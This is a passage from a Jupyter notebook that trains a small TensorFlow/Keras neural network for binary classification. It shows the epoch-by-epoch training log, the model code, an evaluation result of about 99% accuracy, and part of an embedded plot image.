31/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6627 - accuracy: 0.5760\n", - "Epoch 32/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6619 - accuracy: 0.5760\n", - "Epoch 33/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6610 - accuracy: 0.5760\n", - "Epoch 34/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6606 - accuracy: 0.5760\n", - "Epoch 35/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6597 - accuracy: 0.5790\n", - "Epoch 36/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6586 - accuracy: 0.5780\n", - "Epoch 37/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6580 - accuracy: 0.5780\n", - "Epoch 38/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6573 - accuracy: 0.5790\n", - "Epoch 39/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6564 - accuracy: 0.5790\n", - "Epoch 40/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6556 - accuracy: 0.5760\n", - "Epoch 41/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6548 - accuracy: 0.5780\n", - "Epoch 42/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6540 - accuracy: 0.5750\n", - "Epoch 43/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6530 - accuracy: 0.5780\n", - "Epoch 44/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6521 - accuracy: 0.5810\n", - "Epoch 45/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6496 - accuracy: 0.5810\n", - "Epoch 46/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6481 - accuracy: 0.5830\n", - "Epoch 47/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6472 - accuracy: 0.5850\n", - "Epoch 48/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6451 - accuracy: 0.5880\n", - "Epoch 49/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6426 - accuracy: 0.5880\n", - "Epoch 50/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6404 - accuracy: 0.5940\n", - "Epoch 51/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6384 - accuracy: 0.6010\n", - "Epoch 52/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6364 - accuracy: 0.6130\n", - "Epoch 53/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6344 - accuracy: 0.6110\n", - "Epoch 54/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6312 - accuracy: 0.6280\n", - "Epoch 55/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6287 - accuracy: 0.6380\n", - "Epoch 56/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6259 - accuracy: 0.6840\n", - "Epoch 57/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6227 - accuracy: 0.6950\n", - "Epoch 58/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6200 - accuracy: 0.6990\n", - "Epoch 59/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6168 - accuracy: 0.6950\n", - "Epoch 60/100\n", - "32/32 [==============================] - ETA: 0s - loss: 0.6710 - accuracy: 0.59 - 0s 1ms/step - loss: 0.6133 - accuracy: 0.7240\n", - "Epoch 61/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6101 - accuracy: 0.7200\n", - "Epoch 62/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6059 - accuracy: 0.7330\n", - "Epoch 63/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6014 - accuracy: 0.7400\n", - "Epoch 64/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5966 - accuracy: 0.7460\n", - "Epoch 65/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5905 - accuracy: 0.7440\n", - "Epoch 66/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5830 - accuracy: 0.7450\n", - "Epoch 67/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5757 - accuracy: 0.7460\n", - "Epoch 68/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5683 - accuracy: 0.7800\n", - "Epoch 69/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5614 - accuracy: 0.8010\n", - "Epoch 70/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5548 - accuracy: 0.8010\n", - "Epoch 71/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5474 - accuracy: 0.8240\n", - "Epoch 72/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5406 - accuracy: 0.8460\n", - "Epoch 73/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5327 - accuracy: 0.8470\n", - "Epoch 74/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5243 - accuracy: 0.8620\n", - "Epoch 75/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5148 - accuracy: 0.8870\n", - "Epoch 76/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5042 - accuracy: 0.8820\n", - "Epoch 77/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4927 - accuracy: 0.9300\n", - "Epoch 78/100\n", - "32/32 [==============================] - ETA: 0s - loss: 0.5070 - accuracy: 0.96 - 0s 1ms/step - loss: 0.4824 - accuracy: 0.9090\n", - "Epoch 79/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4733 - accuracy: 0.9460\n", - "Epoch 80/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4632 - accuracy: 0.9600\n", - "Epoch 81/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4546 - accuracy: 0.9600\n", - "Epoch 82/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "32/32 [==============================] - 0s 2ms/step - loss: 0.4456 - accuracy: 0.9580\n", - "Epoch 83/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.4360 - accuracy: 0.9630\n", - "Epoch 84/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4260 - accuracy: 0.9690\n", - "Epoch 85/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4145 - accuracy: 0.9700\n", - "Epoch 86/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4059 - accuracy: 0.9740\n", - "Epoch 87/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3962 - accuracy: 0.9750\n", - "Epoch 88/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3873 - accuracy: 0.9720\n", - "Epoch 89/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3795 - accuracy: 0.9750\n", - "Epoch 90/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3716 - accuracy: 0.9750\n", - "Epoch 91/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3635 - accuracy: 0.9840\n", - "Epoch 92/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3554 - accuracy: 0.9830\n", - "Epoch 93/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3482 - accuracy: 0.9800\n", - "Epoch 94/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3404 - accuracy: 0.9820\n", - "Epoch 95/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3329 - accuracy: 0.9880\n", - "Epoch 96/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3268 - accuracy: 0.9870\n", - "Epoch 97/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3190 - accuracy: 0.9870\n", - "Epoch 98/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3122 - accuracy: 0.9890\n", - "Epoch 99/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3059 - accuracy: 0.9880\n", - "Epoch 100/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.2993 - accuracy: 0.9890\n" - ] - } - ], - "source": [ - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create a model\n", - "model_7 = tf.keras.Sequential([\n", - " tf.keras.layers.Dense(4, activation=tf.keras.activations.relu), # hidden layer 1, ReLU activation\n", - " tf.keras.layers.Dense(4, activation=tf.keras.activations.relu), # hidden layer 2, ReLU activation\n", - " tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid) # ouput layer, sigmoid activation\n", - "])\n", - "\n", - "# Compile the model\n", - "model_7.compile(loss=tf.keras.losses.binary_crossentropy,\n", - " optimizer=tf.keras.optimizers.Adam(),\n", - " metrics=['accuracy'])\n", - "\n", - "# Fit the model\n", - "history = model_7.fit(X, y, epochs=100, verbose=1)" - ] - }, - { - "cell_type": "code", - "execution_count": 91, - "id": "1d26c05a", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "32/32 [==============================] - 0s 1ms/step - loss: 0.2948 - accuracy: 0.9910\n" - ] - }, - { - "data": { - "text/plain": [ - "[0.2948004901409149, 0.9909999966621399]" - ] - }, - "execution_count": 91, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model_7.evaluate(X,y)" - ] - }, - { - "cell_type": "code", - "execution_count": 92, - "id": "584785c8", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "doing binary classifcation...\n" - ] - }, - { - "data": { - "image/png": "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